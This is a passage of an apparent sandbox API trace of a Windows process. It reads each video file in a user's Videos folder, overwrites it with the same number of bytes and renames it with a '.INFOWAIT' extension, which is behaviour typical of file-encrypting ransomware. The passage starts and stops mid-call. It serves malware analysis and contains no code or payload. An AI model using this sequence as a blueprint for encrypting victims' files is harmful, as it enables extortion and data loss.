flProtect=0x4) returned 0x5e0000 [0121.632] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.632] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe4e6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe4e6, lpOverlapped=0x0) returned 1 [0121.632] CloseHandle (hObject=0xad4) returned 1 [0121.634] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv" [0121.634] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv.INFOWAIT" [0121.634] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oajupvjmv.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oajupvjmv.mkv.infowait")) returned 1 [0121.635] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.636] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.636] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pszsrl7.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.636] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd0d8 [0121.637] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.637] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.637] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd0d8, lpOverlapped=0x0) returned 1 [0121.640] VirtualAlloc (lpAddress=0x0, dwSize=0xd0d8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.645] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.645] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd0d8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd0d8, lpOverlapped=0x0) returned 1 [0121.645] CloseHandle (hObject=0xad4) returned 1 [0121.646] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi" [0121.646] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi.INFOWAIT" [0121.646] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pszsrl7.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PSzsrL7.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pszsrl7.avi.infowait")) returned 1 [0121.647] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.648] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.648] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\f 1medb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.649] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1765d [0121.649] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.649] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.650] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1765d, lpOverlapped=0x0) returned 1 [0121.653] VirtualAlloc (lpAddress=0x0, dwSize=0x1765d, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.660] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.661] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1765d, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1765d, lpOverlapped=0x0) returned 1 [0121.661] CloseHandle (hObject=0xad0) returned 1 [0121.662] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4" [0121.662] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4.INFOWAIT" [0121.662] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\f 1medb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\f 1Medb.mp4.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\f 1medb.mp4.infowait")) returned 1 [0121.665] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.666] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.667] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.667] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\japspnbzptk8w3utgb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.667] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x141f5 [0121.667] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.668] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.668] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x141f5, lpOverlapped=0x0) returned 1 [0121.671] VirtualAlloc (lpAddress=0x0, dwSize=0x141f5, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.677] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.677] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x141f5, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x141f5, lpOverlapped=0x0) returned 1 [0121.678] CloseHandle (hObject=0xad0) returned 1 [0121.681] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv" [0121.681] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv.INFOWAIT" [0121.681] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\japspnbzptk8w3utgb.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\JAPSpnBZPTk8W3utGB.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\japspnbzptk8w3utgb.flv.infowait")) returned 1 [0121.682] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.683] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.684] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.684] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\sxoi3o7uhlm4-kqaoqbg.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.684] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15a10 [0121.684] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.684] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.684] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15a10, lpOverlapped=0x0) returned 1 [0121.687] VirtualAlloc (lpAddress=0x0, dwSize=0x15a10, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.693] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.693] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x15a10, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x15a10, lpOverlapped=0x0) returned 1 [0121.694] CloseHandle (hObject=0xad0) returned 1 [0121.698] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi" [0121.698] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi.INFOWAIT" [0121.698] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\sxoi3o7uhlm4-kqaoqbg.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\SXoi3O7UHlm4-KqaOQbg.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\sxoi3o7uhlm4-kqaoqbg.avi.infowait")) returned 1 [0121.700] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.701] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.702] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\tloxb4bef.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.702] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd593 [0121.702] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.702] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.703] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd593, lpOverlapped=0x0) returned 1 [0121.707] VirtualAlloc (lpAddress=0x0, dwSize=0xd593, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.711] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.711] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd593, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd593, lpOverlapped=0x0) returned 1 [0121.712] CloseHandle (hObject=0xad0) returned 1 [0121.714] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf" [0121.714] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf.INFOWAIT" [0121.714] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\tloxb4bef.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\Tloxb4BEF.swf.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\tloxb4bef.swf.infowait")) returned 1 [0121.715] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.716] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.717] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\wkklby5zmisi.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.717] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15c6f [0121.717] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.718] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.718] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15c6f, lpOverlapped=0x0) returned 1 [0121.722] VirtualAlloc (lpAddress=0x0, dwSize=0x15c6f, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.729] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.729] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x15c6f, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x15c6f, lpOverlapped=0x0) returned 1 [0121.730] CloseHandle (hObject=0xad0) returned 1 [0121.734] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv" [0121.734] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv.INFOWAIT" [0121.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\wkklby5zmisi.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ztTnKYuZ\\wKKlBy5ZmIsI.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zttnkyuz\\wkklby5zmisi.flv.infowait")) returned 1 [0121.735] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.736] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.736] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.736] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0121.737] GetLastError () returned 0x2 [0121.737] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0121.737] GetLastError () returned 0x2 [0121.737] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0121.737] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0121.737] lstrlenW (lpString="2") returned 1 [0121.737] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0121.737] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0121.737] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0121.737] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0121.737] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0121.737] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0121.737] LocalFree (hMem=0x24b2360) returned 0x0 [0121.737] LocalFree (hMem=0x279c770) returned 0x0 [0121.737] GetLastError () returned 0x2 [0121.737] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0121.737] GetLastError () returned 0x2 [0121.737] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0121.737] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0121.737] lstrlenW (lpString="2") returned 1 [0121.737] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0121.738] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0121.738] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0121.738] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0121.738] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0121.738] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0121.738] LocalFree (hMem=0x24b2360) returned 0x0 [0121.738] LocalFree (hMem=0x279c770) returned 0x0 [0121.738] GetLastError () returned 0x2 [0121.738] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0121.738] GetLastError () returned 0x2 [0121.738] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0121.738] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0121.738] lstrlenW (lpString="2") returned 1 [0121.738] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0121.738] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0121.738] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0121.738] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0121.738] lstrcpynW 